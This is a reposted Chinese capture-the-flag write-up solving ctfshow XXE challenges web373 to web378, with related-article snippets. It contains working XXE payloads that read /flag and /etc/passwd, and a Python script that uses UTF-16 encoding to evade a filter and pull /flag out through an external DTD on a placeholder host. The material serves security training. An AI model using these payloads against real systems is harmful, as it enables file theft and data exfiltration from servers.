ctfshow xxe web373-378

2024-03-31 03:04
文章标签 ctfshow xxe 378 web373

本文主要是介绍ctfshow xxe web373-378,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

web373 

libxml_disable_entity_loader(false):这行代码用于启用实体加载器,允许加载外部实体。

$xmlfile = file_get_contents('php://input'):从输入流中读取XML数据并存储在 $xmlfile 变量中。

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD):加载XML数据到 DOMDocument 对象中,并设置选项 LIBXML_NOENT 和 LIBXML_DTDLOAD,这些选项用于控制XML解析器的行为。

$creds = simplexml_import_dom($dom):将 DOMDocument 对象转换为 SimpleXMLElement 对象。

$ctfshow = $creds->ctfshow;:从 XML 数据中获取名为 ctfshow 的元素的值。

burpsuite抓包发送

<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>
 

forword

web374-376

这题没有回显,可以使用外带数据通道提取数据

一个dtd文件在本地服务器上

在写一个get.php文件接收数据

抓包输入

 

我们需要获得当前目录下的flag数据,然后在本地服务器创建的dtd文件(创建与我们的服务器的联系),最后一个%send将实体解析,于是在题目的服务器下,将/flag文件里的数据通过实体%file通过get传参传入了get.php文件中并执行,于是触发命令,在本地服务器建立flag.txt并将flag写入了其中

web 375

和上一题相比,这一题过滤了版本号,不写就可以,和上一题方法一样。

web 376

也是过滤了版本号,同上

web 377

这题在过滤了版本的基础上还过滤了http头

关于xml解析器:
XML解析器通常可以解析多种编码形式的XML文档,其中一些常见的编码包括:


UTF-8:这是最常见的编码形式,也是许多XML文档默认使用的编码。
UTF-16:XML文档也可以使用UTF-16编码。
ISO-8859-1(Latin-1):虽然不常见,但XML解析器通常也能够解析使用ISO-8859-1编码的XML文档。
其他:除了上述常见的编码形式之外,XML解析器还可能支持其他一些编码形式,如UTF-32等。
通常情况下,XML解析器能够根据XML文档中的声明或者特征来确定文档所使用的编码形式,从而正确解析文档内容。

正则表达式通常是针对ASCII字符编写的,而不是针对Unicode字符编写的。
UTF-16编码使得每个字符占用两个字节,这可能会使得某些正则表达式检测不到字符串中的特定模式,因为正则表达式可能只检查单个字节或特定的字节序列。

因此可以更改编码方式过后,我们就可以绕过简单的正则表达式

构造post传参:

import requestsurl = 'http://8b8a3d03-40d2-4131-a046-710f0cd40dbd.challenge.ctf.show/'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/test.dtd">
%dtd;
%send;
] >"""requests.post(url ,data=data.encode('utf-16'))
print("done!")

web 378

随便输入看到有回显

抓包

111改成&xxe; 、前面加上:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
[POST]Payload:<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>$xxe;</password></user>

这篇关于ctfshow xxe web373-378的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/863247

相关文章

ctfshow-爆破(web21-web28)

web21 提交用户和密码后发现没有用户以及密码的值呢  常见的是在post数据中 或者url后传值 但这里都没有 发现http头有一个Authorization字段 值是base64编码后的 解码 原来是将传入的值用冒号分离进行base64编码然后放到了Authorization字段中了 设置变量 增加前缀 增加编码方式 取消选项 记住 只要payload存在一下

检测XXE漏洞的工具

免责声明此文档仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 为了检测XXE(XML外部实体)漏洞,可以使用多种工具。以下是一些专门用于检测XX

【靶场】CTFshow—vip限免题目11~20

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】CTFshow—vip限免题目11~20 域名txt记录泄露敏感信息公布内部技术文档泄露编辑器配置不当密码逻辑脆弱探针泄露CDN穿透js敏感信息泄露前端密钥泄露数据库恶意下载 域名txt记录泄露 提示:域名其实也可以隐藏信息,比如ctfshow.com 就

XXE payload总结

前言 关于XXE相关的一些payload的总结记录,更侧重于实战直接拿来测试利用,而非CTF绕WAF。。。 Classic XXE <?xml version="1.0"?><!DOCTYPE data [<!ELEMENT data (#ANY)><!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data> 可读文

CtfShow中的misc17解法

第一步: 首先拿随波逐流打开看看,没发现啥突破点,很正常 第二步:使用kali中的binwalk命令,解析出一个文件夹,打开压缩包后发现没什么东西     第三步:结合题目给的提示,使用tweakpng打开图片进行IDAT合并,combine all iDAt 第四步:继续用binwalk命令来解析,得到一个新的文件夹 ,里面有一个D6E文件,可以直接查看也可以放到Window

ctfshow(web入门-命令执行)-1

1.web29 只有当c参数的值不包含“flag”(区分大小写),才会执行这段代码 $c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);} 只要payload中没有flag即可 先尝试cat (右键源代码)  tail,tac皆可 system("tail fla*"); tac 逆序读  tail 默认读后1

web渗透:XXE漏洞

XXE漏洞的原理 XXE(XML External Entity Injection)漏洞是由于应用程序在解析XML输入时,没有正确处理外部实体(External Entities)的引用而产生的安全漏洞。XML外部实体可以引用本地或远程的内容,攻击者可以通过构造恶意的XML输入,利用外部实体引用来读取文件、执行系统命令等。 XXE漏洞的危害 XXE漏洞可以导致多种安全威胁,包括但不限于:

ctfshow之web58~web71

目录 web58 思路一: 思路二:  思路三:    web59~web65 web66~web67  web68~web70 web71 web58 if(isset($_POST['c'])){$c= $_POST['c'];eval($c);}else{highlight_file(__FILE__);} PHP eval() 函数介绍 定义和用法 e

vulhub xxe靶机通关教程

首先我们进行端口扫描 扫出来端口之后去尝试得出地址为183 发现robots.txt文件 由此我们就得到了两个目录 我们先进入xxe目录,并开始登录抓包 并进入重放器在xml里面构造语句 <!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY admin SYSTEM "php://filter/read=convert.base64-en

XXE-labs靶场通关攻略

环境地址自行查找 1.寻找靶机地址 使用工具goby进行扫描  因为我的靶场是搭在ubuntu上 直接查找系统是Ubuntu的就可以找到 靶机IP 172.16.1.183 2.访问靶场 3.使用目录扫描工具进行扫描 使用kali自带的dirsearch进行扫描 可以看到一个robots.txt文件 4.访问robots.txt文件 可以看到有两个目录 一个是admin